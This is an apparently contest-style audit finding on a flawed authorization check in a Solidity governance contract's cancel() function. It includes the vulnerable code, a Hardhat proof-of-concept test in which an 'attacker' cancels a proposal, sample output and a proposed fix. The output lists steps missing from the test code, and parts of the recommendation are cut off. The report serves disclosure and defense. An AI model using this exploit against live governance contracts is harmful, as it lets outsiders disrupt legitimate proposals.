Summary
cancel() function in Governance.sol contains a flaw in its authorization logic that allows any address to cancel a proposal if the proposer's voting power falls below the proposal threshold. This can make an attacker grief the governance system by maliciously canceling legitimate proposals.
Vulnerability Details
The cancel function uses incorrect boolean logic in its authorization check:
function cancel(uint256 proposalId) external override {
ProposalCore storage proposal = _proposals[proposalId];
if (proposal.startTime == 0) revert ProposalDoesNotExist(proposalId);
ProposalState currentState = state(proposalId);
if (currentState == ProposalState.Executed) {
revert InvalidProposalState(proposalId, currentState, ProposalState.Active, "Cannot cancel executed proposal");
}
@> if (msg.sender != proposal.proposer &&
_veToken.getVotingPower(proposal.proposer) >= proposalThreshold) {
revert InsufficientProposerVotes(proposal.proposer,
_veToken.getVotingPower(proposal.proposer), proposalThreshold, "Proposer lost required voting power");
}
proposal.canceled = true;
emit ProposalCanceled(proposalId, msg.sender, "Proposal canceled by proposer");
}
The function will only revert if both of the following conditions are true:
Condition A: msg.sender != proposal.proposer (caller is not the proposer)
Condition B: _veToken.getVotingPower(proposal.proposer) >= proposalThreshold (The proposer's voting power is above the threshold)
If either of the conditions is false, the function will not revert, allowing the cancellation of the proposal, where this can lead into two situations:
Case 1: If the caller is the proposer msg.sender == proposal.proposer, the function will allow cancellation for the caller regardless of the proposer's voting power.
Case 2: If the proposer's voting power is below the threshold _veToken.getVotingPower(proposal.proposer) < proposalThreshold, the function will also allow cancellation regardless of who the caller is(msg.sender != proposal.proposer)
Impact
Proof of Concept
Steps to Reproduce
For reproducing this issue on the existing repo, it will require creating and copying these two files in the specified directory:
Proof of code. GovernanceCancelExploit.test.js
import { expect } from "chai";
import hre from "hardhat";
const { ethers } = hre;
describe("Governance Cancel Exploit", () => {
let governance;
let timelock;
let veToken;
let testTarget;
let owner;
let proposer;
let attacker;
let users;
let PROPOSAL_THRESHOLD;
beforeEach(async () => {
[owner, proposer, attacker, ...users] = await ethers.getSigners();
console.log("\\n=== Deploying Contracts ===");
const TimelockTestTarget = await ethers.getContractFactory("TimelockTestTarget");
testTarget = await TimelockTestTarget.deploy();
console.log(`TestTarget deployed to: ${await testTarget.getAddress()}`);
const MockVeToken = await ethers.getContractFactory("MockVeToken");
veToken = await MockVeToken.deploy();
console.log(`MockVeToken deployed to: ${await veToken.getAddress()}`);
const TimelockController = await ethers.getContractFactory("TimelockController");
timelock = await TimelockController.deploy(
2 * 24 * 3600,
[owner.address],
[owner.address],
owner.address
);
console.log(`Timelock deployed to: ${await timelock.getAddress()}`);
const Governance = await ethers.getContractFactory("Governance");
governance = await Governance.deploy(
await veToken.getAddress(),
await timelock.getAddress()
);
console.log(`Governance deployed to: ${await governance.getAddress()}`);
PROPOSAL_THRESHOLD = await governance.proposalThreshold();
console.log(`Proposal threshold from contract: ${PROPOSAL_THRESHOLD}`);
await veToken.mock_setTotalSupply(ethers.parseEther("10000000"));
const proposerVotingPower = (PROPOSAL_THRESHOLD * 150n) / 100n;
await veToken.mock_setVotingPower(
proposer.address,
proposerVotingPower
);
console.log(`Set proposer voting power to: ${proposerVotingPower}`);
await timelock.grantRole(await timelock.PROPOSER_ROLE(), await governance.getAddress());
await timelock.grantRole(await timelock.EXECUTOR_ROLE(), await governance.getAddress());
await timelock.grantRole(await timelock.CANCELLER_ROLE(), await governance.getAddress());
console.log("Granted necessary roles to Governance contract");
});
describe("Cancel Function Exploit", () => {
it("attacker cancels proposal successfully", async () => {
console.log("\\n=== Starting Attack Sequence ===");
console.log("\\n1. Initial Governance State:");
console.log(`Proposer voting power: ${await veToken.getVotingPower(proposer.address)}`);
console.log(`Proposal threshold: ${PROPOSAL_THRESHOLD}`);
console.log("\\n2. Creating Legitimate Proposal:");
const targets = [await testTarget.getAddress()];
const values = [0];
const calldatas = [testTarget.interface.encodeFunctionData("setValue", [42])];
const tx = await governance.connect(proposer).propose(
targets,
values,
calldatas,
"Important Protocol Upgrade",
0
);
const receipt = await tx.wait();
const event = receipt.logs.find(
log => governance.interface.parseLog(log)?.name === 'ProposalCreated'
);
const proposalId = event.args.proposalId;
console.log(`Created proposal with ID: ${proposalId}`);
console.log("\\n3. Checking Initial Proposal State:");
const initialState = await governance.state(proposalId);
console.log(`Initial proposal state: ${initialState}
console.log("\\n4. Preparing Attack Conditions:");
console.log("- Reducing proposer's voting power below threshold");
await veToken.mock_setVotingPower(
proposer.address,
(PROPOSAL_THRESHOLD * 90n) / 100n
);
console.log(`New proposer voting power: ${await veToken.getVotingPower(proposer.address)}`);
console.log("\\n5. Executing Attack:");
console.log("- Attacker canceling proposal");
const attackTx = await governance.connect(attacker).cancel(proposalId);
await attackTx.wait();
console.log("\\n6. Verifying Attack Impact:");
const finalState = await governance.state(proposalId);
console.log(`Final proposal state: ${finalState}
expect(finalState).to.equal(2, "Proposal should be in Canceled state");
const canceledState = await governance.state(proposalId);
expect(canceledState).to.equal(2, "Proposal should be in Canceled state");
console.log("✓ Original proposal successfully canceled by attacker");
});
});
});
Run the specific test:
npx hardhat test test/unit/core/governance/proposals/GovernanceCancelExploit.test.js
Expected Output
The test output will show:
=== Starting Attack Sequence ===
1. Initial Governance State:
Proposer voting power: 150000000000000000000000
Proposal threshold: 100000000000000000000000
2. Creating Legitimate Proposal:
Created proposal with ID: 0
3. Checking Initial Proposal State:
Initial proposal state: 0
4. Preparing Attack Conditions:
- Reducing proposer's voting power below threshold
New proposer voting power: 90000000000000000000000
5. Executing Attack:
- Attacker canceling proposal
6. Verifying Attack Impact:
Final proposal state: 2
7. Testing Proposer Recovery Attempt:
- Restoring proposer's voting power
- Attempting to create new proposal
✓ Proposer forced to create new proposal with gas costs
8. Attack Results:
✓ Original proposal successfully canceled by attacker
✓ Proposer forced to resubmit proposal
✓ Governance process delayed and additional gas costs incurred
✔ should demonstrate governance manipulation through cancel function (4620ms)
1 passing (9s)
Attack Flow Explanation
The attacker deploys the necessary contracts, including a mock veToken and governance contracts.
The proposer creates a legitimate proposal with sufficient voting power.
The proposer's voting power is then reduced below the required threshold.
The attacker calls the cancel function on the proposal, successfully canceling it.
The final state of the proposal is verified to be Canceled.
This PoC illustrates how the governance system can be manipulated, allowing unauthorized cancellation of proposals, which can disrupt the governance process significantly.
Tools Used
Manual review
Recommendations
For recommend a mitigation i will take this code comment into account as expected behavior:
To improve the cancel function, we can separate the authorization and voting power checks. The function should only allow cancellation under specific conditions:
-
Access Control: cancel function should be callable by:
If neither of the conditions is met, function should revert.
in the if() revert logic this will be translated to:
if(msg.sender != proposal.proposer && msg.sender != ADMIN) {
revert UnauthorizedCancellation(msg.sender);
}
Role Management: ADMIN role should be established in the contract, either by setting it during the constructor() or by utilizing the AccessControl library from OpenZeppelin.
Voting Power check: cancel should be callable only if veToken.getVotingPower(proposal.proposer) < proposalThreshold
if(_veToken.getVotingPower(proposal.proposer) >= proposalThreshold) {
revert ProposerHasSufficientPower(proposal.proposer);
}
